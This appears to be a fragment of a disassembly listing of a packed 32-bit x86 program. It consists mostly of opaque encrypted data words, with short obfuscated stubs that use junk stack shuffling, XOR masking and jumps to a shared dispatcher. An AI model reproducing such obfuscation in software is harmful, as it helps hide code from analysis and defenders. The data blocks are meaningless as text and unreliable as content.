		dd 438B27D5h, 8018861Bh, 0EAFEC6A2h, 2D077D45h,	0C510F097h
		dd 0B82D753Bh, 13C5E90Ah, 809F436Dh, 0D9CA5DC3h, 6B53BFC8h
		dd 9E19E163h, 0C0C72975h, 3C98F0CAh, 9C270004h,	554C7814h
		dd 0AECA5DF5h, 0EAC67225h, 0A8C3FEC6h, 0A357C156h, 5E0C4E55h
		dd 6D1AA7CAh, 58414103h, 1BB2CED2h, 0A4CC7621h,	53DC1828h
		dd 0B11C4080h, 9EC5318Fh, 0F7C263D6h, 731FDDAAh, 0AAF67D2Bh
		dd 4D3A6510h, 633978A3h, 43E97C2h, 7AE72800h, 0CB44590Eh
		dd 811C29A5h, 90D042h, 18975D66h, 0E90D4AA1h, 5E85714Dh
		dd 0B7C263C0h, 29C09DEAh, 6FE177E6h, 81654902h,	0C263BC62h
		dd 0DEA1E6BBh, 691h, 993E7242h,	9B8ED2D9h, 20B4FD68h, 2671603Bh
		dd 646E12F6h, 0FC8B24E0h, 660A7E41h, 0DCAED96Bh, 1428AAFEh
		dd 446C57F0h, 24657C68h, 0F5BECA5Eh, 56FA96A2h,	0A32CC87Ch
		dd 0B351F3DDh, 49036D1Ah, 0C6D25839h, 0DE7FEEAh, 7340C264h
		dd 9C3A1624h, 10C38C68h, 0A0C40CB0h, 0D1639FBEh, 15525197h
		dd 3DA9C264h, 0C2641526h, 4390327Fh, 6307A554h,	9730D46Eh
		dd 7BCE88F0h, 3305BFC9h, 629C3713h, 0C0DF09A2h,	19C4FEAEh
		dd 8A6A9835h, 0FFC112C1h, 203F0BAFh, 0C1C64090h, 9BFF9BFFh
		dd 0FF092837h, 0C83081C4h, 0C4FF0999h, 0F3DFE1F2h, 0C4FF08ECh
		dd 650B7C45h, 0CCF91B63h, 3FC10C70h, 9F9BECC5h,	0F6CCD3FFh
		dd 9D25BD04h, 2AB7DD66h, 2EA52EBDh, 9BCA2E92h, 0F4BD04E1h
		dd 704CB8DFh, 0E179A84Ch, 1D2BD04h, 0D2E67496h,	4E0FF26h
		dd 784B58BDh, 2C206838h, 4B920C7h, 6509A593h, 49E9DB69h
		dd 0ED05F258h, 0F080F89Fh, 29C4FEEFh, 0D7A8845h, 7F85512Dh
		dd 0F8B0AD85h, 0B86E00E1h, 54F8B80Bh, 11C0C879h, 0CCFDA8A7h
		dd 0E8E30BF7h, 8C37C903h, 7824515h, 433090D4h, 6BDh, 38CA7262h
		dd 0B0629A38h, 13FF39D0h, 0A65CE6EBh, 0AF80CCAh, 9C3A1A3Ch
		dd 7A569A68h, 9F3838CAh, 6D1AD65h, 7D4306FCh, 5B884A59h
		dd 0B1C1A3C2h, 2EAAFEDCh, 6703AD16h, 4430D46Eh,	0B68F758Fh
		dd 31E2B70Dh, 0FA8E56E7h, 0FF47AB8Dh, 88D260AAh, 0AF55EFE4h
		dd 0C87C5A16h, 46F4A32Ch, 2D96AE2Ah, 56D0E783h,	8F2B8F31h
		dd 5B773C63h, 0C77953C2h, 0CFB1D6EBh, 162EAA07h, 2CC87C5Ah
		dd 0DEE230A3h, 48AC5082h, 0EEE8187Fh, 0B622CF03h, 0C25B77AFh
		dd 6808BB08h, 951ED66Eh, 0F5DE823Eh, 0E0BC484Fh, 58B1507Ch
		dd 8251715Eh, 43ADDAE9h, 0C25BAA17h, 9E381478h,	33C58E66h
		dd 0C25BAA2Ch, 2D4B3C85h, 3A698DA2h, 93C25BAAh,	321C953Eh
		dd 0A3C6B6D5h, 5E71441h, 448C0000h, 0A82A46BCh,	6B827E94h
		dd 0B41D61B1h, 527C848Eh, 4C7660B2h, 0CC36CE08h, 0EA1828A4h
		dd 0C73BC906h, 122CA7h,	607F6359h, 0B9C25B87h, 6E12D79Bh
		dd 8922E262h, 0DA2E0CFEh, 309043F9h, 857F814Ch,	0C1DDDBACh
		dd 23EAF9DDh, 6E43CA5Eh, 0BE374F29h, 9CC0D260h,	5FE70D37h
		dd 6A1A9ECh, 2953E93h, 87811838h, 9BA6BD29h, 0B2FFC25Bh
		dd 11BB9F21h, 40DCA8EFh, 9B69785Ch, 0F1C2C25Bh,	9ACFD2A6h
		dd 0E0EEC25Bh, 18B4A064h, 9E470CE8h, 48F80E3Bh,	96B96378h
		dd 61EA0A3Ah, 0F8925B73h, 0EE6ADFE3h, 5C2B9822h, 0CADA6A81h
		dd 8ECEACE3h, 0F6178088h, 0D97AF67h, 3C478h, 1EB49800h
		dd 52450EE6h, 656E1242h, 0DC8B8DFh, 1FB732A0h, 0DBE5EEE5h
		dd 48AC567Fh, 0D06C187Fh, 0E61E26ACh, 933E3A4Dh, 5D7F4F71h
		dd 2BC6D285h, 0CA8692A1h, 237499FAh, 56E41674h,	32B0A356h
		dd 0CB64A0A4h, 8E1406F9h, 8F1F7B45h, 0B227CBD2h, 47B1D6B9h
		dd 0D25790E5h, 0C9D8FCA4h, 0E0C26362h, 5C684AF2h, 34469977h
		dd 0E38D36D0h, 876D56E8h, 0CC9223ABh, 0D0C8FCCFh, 63DD04F0h
		dd 6D36C263h, 644B561Ah, 6C6AC263h, 93401CD8h, 0EDCD426Ah
		dd 477C2ECCh, 0F2E9FCADh, 0BF1AA165h, 0A8B71B7Fh, 1C263E6h
		dd 0BDE410B0h, 16C263E5h, 5A0BFA8Dh, 6D026FBFh,	6Bh, 0C522AFCBh
		dd 31FAFA08h, 121FF5A2h, 241B4AAEh, 5F74CA5Eh, 70885238h
		dd 5E245D84h, 0D6EDB6CAh, 399AB6DAh, 0F6DC9403h, 0EBD25858h
		dd 38BC468Fh, 891A286Fh, 798B4327h, 0E6CA760Eh,	44B4488Ah
		dd 0C263EE1Dh, 965A2D76h, 0C263EE8Bh, 0D336B530h, 26FB382h
		dd 0A75E7AD6h, 3405E1E0h, 781FB4CDh, 17707h, 89452900h
		dd 12080C7Bh, 0B5E2626Eh, 0FFE308C3h, 0CA5E23E0h, 555B6839h
		dd 0CE72DD4Dh, 0A32B228Ch, 0F9CA63A1h, 7A4AF68Eh, 0B16142D6h
		dd 0E21E69C3h, 0C8B450F4h, 1009A00Dh, 4429D0D2h, 6C576CD8h
		dd 0C9046844h, 4F4BD37h, 0CA5DC0DDh, 621A6D36h,	5876DAB6h
		dd 797F48ACh, 0CA5DC16Ah, 4792EEC3h, 23AECABDh,	40004CEh
		dd 3418982Bh, 69F659Fh,	512D1181h, 0AB8480BAh, 0C5E714DCh
		dd 0E68ACA5Dh, 4D2B5CE8h, 0A3A12D82h, 0A75D7561h, 0A509A71Ch
		dd 4F40EC9h, 0CA5DBBDDh, 701A6D36h, 1D27ACD0h, 0F0C54FD7h
		dd 5CA7129Ah, 50EA2067h, 0CD09654Bh, 679D3937h,	347C2020h
		dd 5A402121h, 0B147501Fh, 0D25B41F5h, 0EDB5FBC8h, 23BB4D0Ah
		dd 58682F25h, 756C5834h, 0CEC2606Bh, 68669205h,	1B29A5C9h
		dd 606AD6CDh, 31A22FC2h, 98C72B8Fh, 0F1C2606Bh,	535BB7E0h
		dd 0E420DAF7h, 923C3C4Bh, 5D08C073h, 8C370667h,	0B2293115h
		dd 2F4CA4C6h, 301h, 0EC162EA6h,	0CC36CE04h, 0E71B15A4h
		dd 0E230CA07h, 0FE14309Eh, 0A8262E58h, 4E8A669Ch, 0AB244CB6h
		dd 4A856999h, 417F4AB8h, 5B848E95h, 8D8DE7C2h, 0DF656E12h
		dd 564D7925h, 0AFCA5E24h, 9AE6B122h, 26D1093Ch,	61BCAA3Ah
		dd 0A029CB71h, 0CE72A033h, 6B1C20B2h, 5E6D428Dh, 13C07A91h
		dd 0DCBC59F1h, 2D13AD85h, 0B5D52D96h, 3CFAC212h, 0FB1E5BF5h
		dd 0DF616C8Ch, 0B2507DE1h, 0DF7B17E5h, 3B3D4AF4h, 90B21B90h
		dd 0B5217D43h, 0CA5DB7AEh, 243BA707h, 7DCA5DB7h, 9AF89F34h
		dd 0E81CBA96h, 79CD6B9Fh, 0B460A45Eh, 5DB71110h, 6A596ACAh
		dd 4A475759h, 37832FB7h, 6C50F097h, 0B93BC510h,	6D2DD4F1h
		dd 0A52E077Eh, 32A8B71Bh, 0B001CA5Dh, 816111E7h, 8A1AD257h
		dd 3305829Ah, 2CDB3D2h,	5C2B0400h, 2DD7025Eh, 0EBD5FEC7h
		dd 0B3BD478Fh, 0A19FE81Ah, 2E35A1FDh, 87C262EFh, 771F8A3Ah
		dd 0B7524D8Ah, 0CB26B0D0h, 0D8040002h, 458E45FFh, 4DF7DF7Bh
		dd 0CCF0D03Ah, 6287F928h, 168152C2h, 62883F62h,	2BC29EC2h
		dd 7F5AA6F1h, 881F46B2h, 4F8AC262h, 26EBBAD2h, 0D004CDF5h
		dd 47698292h, 0DCE4EF6Dh, 1CA03DD4h, 1A963E48h,	6291B7AEh
		dd 0D4C310C2h, 0F8D67A36h, 781FA84Ch, 6B634E88h, 60097D9h
		dd 526E65EEh, 788EFD82h, 143D4CB6h, 39A8259Bh, 0CDE9DBE8h
		dd 64B37616h, 0DEBA4255h, 54B05482h, 7AEB0C7Bh,	4D000001h
		dd 0C15E8571h, 0EBB7C262h, 84EA3A1h, 0BEC9FA17h, 5F6E12DEh
		dd 1861FE5h, 862A2F09h,	24A7BE2Ah, 0B300CA5Eh, 0E8B8D4E4h
		dd 0B420F98Dh, 0CA5DC7ADh, 6207BD06h, 0F192C755h, 0CAD64677h
		dd 9EEA8EF9h, 2FD26081h, 982FBC4Bh, 0F6CD669Eh,	586235FEh
		dd 4E958C38h, 0E5EEC25Bh, 462A16EEh
		dd 94AE278Ah, 9BECD770h, 19BD725Dh, 0C25B4E0Ah,	3B854E63h
		dd 0FE89B31Fh, 0DB24AC94h, 222D1A45h, 0E5F01077h, 0CC4D555Bh
		dd 0D22DBD9Eh, 6B24A3Dh, 0E617D3BEh, 6334B172h,	0EF98BF8Dh
		dd 0B84884C5h, 8AB2203Ch, 7772EB6Ah, 506000DAh,	0DC482071h
		dd 8D5C2B0h, 49A631D1h,	0B2607389h, 1F46B20Eh, 78BEC8E7h
		dd 63D6342Ch, 0DDE6362Ah, 0AE03CEAAh, 10B02321h, 25DF616Ch
		dd 9581FB8Ch, 0BD6CDF9h, 0E5EDBEC9h, 0A60CA55Fh, 458E6A1Dh
		dd 0C1948ACh, 0E72BEC9h, 419241C3h, 0A8B71B7Fh,	1BEC90Ch
		dd 411DE7B0h, 69956F95h, 7031D369h, 0FFD97675h,	0B5D96980h
		dd 0C90C1211h, 667D69BEh, 0BFBEC90Ch, 9403D0F2h, 0D9D76964h
		dd 0DEA95B75h, 0E7F08C34h, 890E975Dh, 9CA35C77h, 50FCD994h
		dd 0CDB10FC4h, 1E24B13Eh, 0A8234FB5h, 88432D96h, 0E2B57E76h
		dd 273D1Ah, 0FF5B0000h,	4CF8D6D3h, 20B47D77h, 0B2A13D6Ah
		dd 779DEAF4h, 0E1636E12h, 3D852BB6h, 7F3DD62Ch,	0E5F18F93h
		dd 7B0CA55Fh, 0FA02D299h, 51F3DEFAh, 0F40EC7B3h, 58E8E410h
		dd 0EE16C09Ch, 58ECEA16h, 0E913C09Ch, 5ED8EF0Bh, 0E418BAA6h
		db 20h,	72h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6049h
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 8029A36h
		push	eax
		pop	ecx
		pop	eax
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, edi
		push	ecx
		xor	dword ptr [esp], 11183805h
		pop	dword ptr [ebx]
		xor	dword ptr [ebx], 11183805h
		pop	ebx
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	0B8BDEFDDh
		push	edx
		mov	ds:0C5030802h, eax
		jmp	eax
; ---------------------------------------------------------------------------
		dd 7C37D51h, 0E6E54D8h,	2994CF0Eh, 1E768625h, 0A5356DEh
		dd 70666C7Fh, 33E9h, 0E66B0200h
		db 5Dh
byte_62BF09	db 3 dup(0)		; DATA XREF: sub_5A55E5+19F30o
		dd 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_62D762
; ---------------------------------------------------------------------------
		push	802A765h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802A962h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802ADDAh
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802AFCAh
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802B34Fh
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802B770h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	802B9CFh
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4DBF5EF7h, 0F96BEA83h, 71E3720Bh, 0FC6CEB84h, 54E5740Dh
		dd 18B18042h, 0A53E0779h, 22BB86F6h, 9C350173h,	0DFE1A2FDh
		dd 1987F016h, 0F5E5AB74h, 0BEDC8A0Ah, 0EAA15F04h, 9C240EFAh
		dd 218A31DBh, 9178F39h,	0CC8D1350h, 2A218A31h, 0EDD90BC2h
		dd 71E1FD5Fh, 52DA60A5h, 0AA9408C3h, 0CE871311h, 899B09D2h
		dd 56FD6721h, 0B25FBC5Eh, 0F9BCBC14h, 6FCA02E8h, 4656E702h
		dd 9F7F5AEh, 85BED970h,	82A03907h, 0EF65731Ah, 0DB26700Ah
		dd 617F18E1h, 0E8A352F9h, 727009F4h, 6AD6EEAh, 610B1990h
		dd 595310C9h, 61C9D770h, 9005F4B5h, 7AEA5219h, 81E9F790h
		dd 0CDBF9CCAh, 0DB4765FEh, 0B4C4BC5Eh, 0AE65EC24h, 8F9E6532h
		dd 36CFBA19h, 41DAA438h, 0A11E4923h, 118BC48Fh,	22BB8425h
		dd 79109804h, 0B02CB3ECh, 0CCBB2BC4h, 26AD3533h, 4D7AA555h
		dd 0CCD48F03h, 198F960Bh, 0BD48FF69h, 81h, 8720EAE2h, 0AF59400h
		dd 0B3A842A0h, 1D973EC2h, 7D3E42FBh, 0DB218A01h, 6320F971h
		dd 8A019C5Dh, 0BB52FA21h, 5C29A3E0h, 3634CDBBh,	518F46AEh
		dd 26700E77h, 0BAB745Bh, 8757E869h, 703FF100h, 16864FD7h
		dd 894922Bh, 0A065E181h, 0F5198FBCh, 0E575730Ch, 0AB617F18h
		dd 722D03BCh, 0BAE8CE31h, 60F011E8h, 0DC03BCA9h, 6E7C15E0h
		dd 0EF7710FEh, 0FDEB846Fh, 0ED9DDE75h, 35034D87h, 1E8h
		dd 0C4523E57h, 0E47B3639h, 0E6AF372Ah, 0B46223ADh, 10C02189h
		dd 159D8B24h, 9B78F69Dh, 0B40FD8D8h, 36D2189h, 0CAD9C4Ch
		dd 1C88A63Fh, 3B29C28Ch, 0B92937AFh, 11A63FCDh,	255B0C08h
		dd 81C29F8Dh, 8A4936FFh, 0A52C9421h, 0EDD67743h, 8903DC54h
		dd 8F0321BAh, 8F1B09A2h, 0A6617017h, 0B5B34C36h, 0A5C35C25h
		dd 0C21EB53Dh, 218A4433h, 0E28F7033h, 6BCD6C8Dh, 846730ACh
		dd 1BC5218Ah, 826BF8Bh,	7F3F59Ch, 0E2009966h, 0FEEC8572h
		dd 0AD76FE76h, 8421EAE6h, 0D57F218Ah, 0E8E49F3Eh, 1ACA811Ah
		dd 27C08D2Eh, 0E0F9D6BFh, 77413A58h, 0DCB5B55Ch, 609BB6F3h
		dd 0BD541C0Dh, 6F561F3h, 24FE7F6Dh, 58FA0CACh, 563FA73Fh
		dd 9BDD7F79h, 58C6D4Fh,	19E3D99Ah, 210BC980h, 25266FBDh
		dd 0A999625Eh, 4DF7198Fh, 0A94B0C94h, 3FA9198Fh, 8F76988h
		dd 81E9716Fh, 0BD562498h, 900CC716h, 2A8209A2h,	0E5D7C028h
		dd 0E9B22E18h, 47198FA9h, 8B17159Dh, 0F7D89B04h, 12E57D39h
		dd 0F00A6044h, 9D74D062h, 0DF627E15h, 0C71E7D31h, 0B84FE8D5h
		dd 0D6C68F39h, 0DFB84FE8h, 6F341EEDh, 92DBA871h, 0C25E0611h
		dd 1192DAF9h, 0D685ED57h, 872DB21Dh, 33D4486Bh,	0DC7D4C9Ch
		dd 0CC5856EFh, 0B7CE8164h, 67F71CCBh, 146783h, 58F1D900h
		dd 0E47D47B9h, 5CF5C335h, 0E57E4BBDh, 5EF7C636h, 0BA082EBFh
		dd 31A332CBh, 0B020AF48h, 3BAD2CC5h, 0CC27B64Fh, 0ED00C9C7h
		dd 0D55E1987h, 32AEF5CBh, 218A9469h, 76761DC7h,	8917E687h
		dd 0D98708B3h, 0D4D25A3Ah, 7631E048h, 0FEF2B3BDh, 0E8502189h
		dd 0D450728Bh, 780F583Ah, 10FB9C68h, 0A760EF77h, 6029A7ECh
		dd 0BE2189FCh, 0FCC18A16h, 0F212189h, 619EDBC5h, 60A13EBDh
		dd 5A6E8A93h, 0E4B057CFh, 96FD0AF5h, 0A6DB14Bh,	0CA272983h
		dd 96651650h, 0F683EFFDh, 90181FFDh, 66EFC9C7h,	0D9D32670h
		dd 41B057F0h, 5CEBE97h,	0E2009964h, 0B5BF27Ah, 9024C68Bh
		dd 308FD019h, 5CCDFF3Fh, 0B9B45B02h, 0E5F0CF10h, 66A1A7E7h
		dd 0C8B8BB52h, 0EA034D20h, 0E46B04F2h, 18329h, 8F896600h
		dd 12AB98CCh, 952B8814h, 0F1AF66D1h, 0C5C4523Eh, 0F7A2EF01h
		dd 1C9049E1h, 73F39A33h, 0C45D2696h, 2ECDB0Dh, 8A4FBD7Eh
		dd 0F1611D21h, 0D58C4A81h, 7876FE66h, 74D9349Bh, 0B5F8F1BBh
		dd 0E6532D34h, 883F8436h, 89E3C54Ch, 0F9C7C521h, 4B37A960h
		dd 2543DCAAh, 836C35BDh, 8E08056h, 23B2597Ch, 5524C5B1h
		dd 0AE46AEBCh, 750EF7F5h, 0D9D390DEh, 0F2BA51EAh, 2D710360h
		dd 0AC7FFBC5h, 0B7185B44h, 80A12AFDh, 0D069578Dh, 2BE24AD2h
		dd 7017C3ADh, 108CC726h, 4C0D8922h, 0AA199003h,	0FA6A8B42h
		dd 27F07811h, 3A3646Ch,	57011990h, 766621B0h, 0F784F18Ah
		dd 443B3DEEh, 59FBB55Ch, 0DC9523EDh, 3B40F6F8h,	0E34F5DD5h
		dd 301A924Bh, 6A218997h, 0B38D7231h, 1D328F49h,	0D05E7A11h
		dd 0DC1E7CC1h, 0D47B14E0h, 0A5666A25h, 5119271h, 11A1B391h
		dd 56FCE38h, 4938B46Dh,	0C57E19B0h, 531D15DAh, 0B95034FBh
		dd 0D6BF5827h, 617F18E6h, 118352F9h, 9D68922h, 0DA1CCD3Ah
		dd 126A6044h, 0F4DC0000h, 824CBC5Bh, 0CFA6AE9h,	8774E473h
		dd 0EFD6FEEh, 4157E675h, 7A19B281h, 29A8410Ah, 0A433CCB7h
		dd 20AF4834h, 3C4CCC7h,	611987EBh, 4F3EBAD6h, 6EFEDB6h
		dd 3CF7E66Dh, 0D4358253h, 1884AC1h, 0A72913DFh,	218A94DEh
		dd 0FC27943Ch, 0C0FF0293h, 5C17C62Eh, 80FD9660h, 0D7D3F059h
		dd 0BFDD7454h, 6D0EF7F5h, 911907A0h, 86727219h,	81CF9BF8h
		dd 63CBF654h, 0EEB7B97Ah, 4C2189B2h, 0A47DEDA4h, 0D3BE5F28h
		dd 33B4B23Ah, 584FA047h, 4C036BC1h, 3E17B09Ch, 0FEEF6C61h
		dd 16BDC868h, 0A6900CC7h, 0FC931F0Dh, 653EA2B4h, 4AD9A21Eh
		dd 8D37218Ah, 15139D06h, 5B267039h, 0C9622CA0h,	90338C4Dh
		dd 0EA82EA19h, 0E1AD1FFCh, 56EFD848h, 0A345CC58h, 0B34C36D7h
		dd 437D623Bh, 0A04DDFF4h, 0BBA9420Eh, 0C110B72Fh, 10A99606h
		dd 0E1038A12h, 95EA8715h, 0BBC73D54h, 8FF7F4B5h, 82EA5219h
		dd 6E7231EAh, 198FF8ADh, 0BCAA610Bh, 959900DFh,	485E8393h
		dd 732D13C1h, 0B3829ED2h, 0AC980C1Ah, 0D03F1513h, 0BF8808D7h
		dd 1D924A2Dh, 0EA653BB3h, 0A9BD22BDh, 8E36F9F7h, 0C6B232D9h
		dd 3013D4DCh, 9360924Ah, 59D17BFAh, 0A1420C80h,	0BF2B39D2h
		dd 0BF31A027h, 0CA6352F3h, 0B881FFDCh, 16924A30h, 0F5AE46AEh
		dd 0F793510Ah, 24C4E54Fh, 3AA2C059h, 86F6D393h,	99011FB8h
		dd 0AB20E6F2h, 89759249h, 9762F2F0h, 0DE13F0FEh, 50465AE1h
		dd 7B577222h, 89031CF3h, 9B0725BEh, 8F5079F4h, 23A6341Dh
		dd 3EC7DDE4h, 6F711890h, 0CAEAF583h, 0E2AB0F28h, 66AE77F9h
		dd 640C924Ah, 0FEAC13CCh, 649A0654h, 0FDBEC29Bh, 5B924A83h
		dd 0C07B5AF1h, 0B76FFDCCh, 49ECD7E2h, 9848FF67h, 0A33C0BACh
		dd 0FAF5B6BAh, 0E9539249h, 51379881h, 0B44D3AF7h, 0F364C047h
		dd 57550E5Ch, 3FD3D16Ah, 65CDDB74h, 0D8715DCDh,	2DAB62CAh
		dd 4F356693h, 505EF7C0h, 4957F0DCh, 0F937707Fh,	40400300h
		dd 924A9077h, 60E6BD5h,	0C9304AE0h, 3E6B068Dh, 38943EA1h
		dd 5322861Ch, 4A0936E6h, 0EDA47519h, 0FF810FFBh, 52752B14h
		dd 0B046F986h, 4FC9FAD4h, 0C48EFED7h, 0E1AD3D2Bh, 5AD25A48h
		dd 136FF81h, 2C94924Ah,	0F8C434A5h, 0BFA4C96Ah,	7B64E83Fh
		dd 49CE34F5h, 0C22A9292h, 8019E3D9h, 0D67D16E0h, 0F5C1BB98h
		dd 59FBB55Ch, 69672CF5h, 9249CEA0h, 0E4BF56FEh,	9B9D409Fh
		dd 74A4CF0Fh, 45E5FFDDh, 8AC99730h, 50414506h, 0EA7928Ah
		dd 6F8E45AFh, 15843710h, 8F17B4B0h, 5A684700h, 1CAC631h
		dd 5F8A4F9Eh, 86E988F5h, 65E7C148h, 96730B0h, 13C58A50h
		dd 0A929029h, 12510AA2h, 5009CD8Eh, 0AC12B8Ah, 279D0F91h
		dd 3EA18F36h, 84E5AACBh, 0CD2CE3FFh, 12B7FE2Eh,	0B0381895h
		dd 229AD9B2h, 44B0BE57h, 560CCF98h, 8B482F82h, 0A23713C6h
		dd 0B622A913h, 8255DCF0h, 10907A45h, 8255DD47h,	0B5B33BA5h
		dd 0A1BF5825h
		dd 1E128FDAh, 0C28C0043h, 0DAC7A229h, 833B2DDDh, 444C079Bh
		dd 8255D583h, 35D077E1h, 81Dh, 850E755Ah, 0FB413904h, 0EA478CD4h
		dd 58C64F1h, 81FFE597h,	0CD42231Eh, 8A41C376h, 3937F022h
		dd 218A0270h, 0B98626CEh, 94CF8820h, 0FC932C18h, 6FEEC2E0h
		dd 503EAE26h, 82E110B7h, 0FD70761h, 17AC447Ch, 0C9C78Ch
		dd 5E19901Eh, 74815FF6h, 809889D0h, 81906D1Fh, 3AD1B24Eh
		dd 8670E072h, 0FB73FFEDh, 9E6B6122h, 0DF7BE705h, 98815716h
		dd 8D13CC74h, 988157CCh, 900BC22Ah, 4AEBD9D3h, 5D4BE37Ch
		dd 50A23ED5h, 549D674Dh, 0CD9DB96Bh, 0F0973320h, 0C57E5701h
		dd 8770FABBh, 963A5A90h, 513CB42Eh, 20EA7AE2h, 0A9620087h
		dd 0BFAD4633h, 0D9C7602Bh, 325CD951h, 4BEA3298h, 92C4ECA3h
		dd 1F497B39h, 0E585235Eh, 30E9811Ah, 3836CFBCh,	0B97A25ACh
		dd 8635F67Ah, 29939087h, 0A03936A2h, 0A7259571h, 0B82442DBh
		dd 8270E011h, 0DB9881E9h, 894C14D5h, 43CA7288h,	0D4A11B58h
		dd 9D5E623Bh, 0FB88894Ch, 5E2ABA51h, 92473AD0h,	2DBD2E10h
		dd 742DC55Eh, 5C21EA8Bh, 943B281Eh, 26128A45h, 7C139F8Dh
		dd 9C12A06Ch, 86B23CA9h, 0BD9C7FE7h, 0A6A5D5E2h, 0DF2B4B8h
		dd 9C640000h, 1AE45403h, 9462D281h, 1FEC5CFBh, 9665D786h
		dd 0A9CF5EFDh, 2912A19h, 8110A992h, 0C8B240Fh, 7817B09Ch
		dd 9B5C641Fh, 0F91987E7h, 0F7F5722Eh, 0B49C800Eh, 3E680390h
		dd 0A52CB8B6h, 4C54090Bh, 218A798Bh, 1A967FE9h,	218A7951h
		dd 0F4AD45AFh, 9FC3A70Bh, 761DDFC6h, 4A89662Dh,	61EF052h
		dd 2A30AC63h, 16267016h, 1092535Dh, 48F01990h, 0B68030C1h
		dd 0D0CC951Dh, 0A8C64DE6h, 0D5F604EBh, 870B293Eh, 38D3BE6Bh
		dd 0F49B1367h, 0A21E08F4h, 199015D9h, 3C258D37h, 0CAD87140h
		dd 27BBAB62h, 30A4C25Bh, 0DEBBA942h, 901519E2h,	6CD7719h
		dd 8C72BEEBh, 6D5308Fh,	0F6B29D37h, 4A95125Fh, 0D2D06952h
		dd 67E9C34Ah, 0FB730CF7h, 9C6B6122h, 0D67DE503h, 767B040Ah
		dd 0AC9A4A1Eh, 258D1513h, 0D871403Ch, 2AAB62CAh, 0EDAE3271h
		dd 4B119674h, 9D3601A1h, 710AF6F6h, 9E0E47A8h, 3C1CC5B0h
		dd 80FCD595h, 74741BB4h, 59229E88h, 0B7119671h,	0C0BCA50Dh
		dd 0B4B259F2h, 0ADBB5420h, 0ACBA533Dh, 0E64A77F2h, 0C9B834EFh
		dd 0D3CC9930h, 0BA4900Ch, 0F7986484h, 1FF87009h, 7241E2ADh
		dd 0C75351D9h, 0F9D69140h, 9D6BAE9Ch, 22237704h, 6A1659F0h
		dd 4C0B43DFh, 44CB6450h, 584C9h, 0ADE9C600h, 0FF34CD67h
		dd 0F5D0CC83h, 946932AEh, 0CCC7218Ah, 8A9403C4h, 6FF76121h
		dd 0E53ED0D8h, 0E4290249h, 0BAA30B40h, 8AEBC8D5h, 0ED4A25F3h
		dd 34F3A48Fh, 6730D79Ch, 2DC6B02Ch, 0BE703AA6h,	78742987h
		dd 9D5CF38Ch, 0A7C55E2Bh, 0F2EAB33Bh, 0F2B16A03h, 877E2DEEh
		dd 2AE18B19h, 0B14A39ABh, 139DD6B3h, 19877E52h,	386B13B0h
		dd 7F8EFC6Bh, 0DC7460E7h, 0BCD671C9h, 0B75EF7C0h, 29BB4935h
		dd 0B11E7D60h, 0B5AE71F9h, 0AE14D7E6h, 0C02BCC0h, 8C740000h
		dd 0AF464F3h, 8472E271h, 0FFC6CEBh, 8675E776h, 0B9DF6EEDh
		dd 0F2A13A09h, 7120B982h, 0FC9B34FFh, 0A827C08Ch, 8B4C544Fh
		dd 0E91987E5h, 0AEF5425Eh, 8A946932h, 0C4CCC721h, 218A9403h
		dd 0D86FF761h, 0E7D23ED0h, 5CD4604Eh, 0FFCCC083h, 40DC4866h
		dd 218A9477h, 0BBE46BD5h, 2F9C1778h, 0B626F742h, 0C44DF649h
		dd 874722h, 87BB12D4h, 1BD37029h, 0C8803BF1h, 89CA931Bh
		dd 87383E07h, 9D349C19h, 514F14CDh, 19873888h, 15D77EE6h
		dd 8F019029h, 3D5815A3h, 86D9A21Eh, 8D371987h, 1C9DE530h
		dd 0BFBD9694h, 0E14957F0h, 2DCEBA2Ah, 5DF6C162h, 0E34BD7D5h
		dd 0CF6855C5h, 0DF7841D1h, 0CBD9723Fh, 6AC603EEh, 865946A3h
		dd 2349D729h, 8C4351A8h, 0E2CF705Ch, 57CF5B49h,	0F8C7C57Eh
		dd 3DD9415Fh, 1987177Ch, 39C6ADAh, 3AF5E46Bh, 28DF7842h
		dd 0B4F55B47h, 915F5D0Ch, 8C7AEAF8h, 39D47BF3h,	3EDh, 996656h
		dd 0EA8372E2h, 3ECDCB82h, 2CC5B152h, 2EDA6C4h, 53AF7F89h
		dd 0C719B008h, 0C68F11FBh, 24218A42h, 716B34BCh, 7362E982h
		dd 0FF62D7B8h, 5A03BFFCh, 0EF57F9B3h, 7ED0C926h, 5452EBD7h
		dd 0F63C6BC8h, 540F883Fh, 0D8D66F58h, 56DE7744h, 0E8A321BFh
		dd 1D8F266Fh, 0C98962Fh, 0F9C47485h, 52DA4260h,	85261389h
		dd 980422BBh, 38A1210h,	0E41EE363h, 8A73198Fh, 0E45720A0h
		dd 0BB5198Fh, 281585A3h, 4CBB918Fh, 50E9D553h, 4A42FDD8h
		dd 461E881h, 0A0FF449Bh, 5645ACA7h, 4C551CDh, 8199064h
		dd 9064BF88h, 44B31D19h, 50E51F9Ch, 0D9F2209h, 0C105F586h
		dd 0D02F034Dh, 0C482064Ah, 27E269FCh, 0B1h, 0E50AF569h
		dd 0F8F463F2h, 36D8D077h, 6B36FF81h, 363A218Ah,	218A6B75h
		dd 620A69D3h, 4E5211CAh, 218A6B8Dh, 0D1CA81EBh,	7077F5CFh
		dd 169AD926h, 19903555h, 0B140D9A2h, 76718007h,	5E7E7C19h
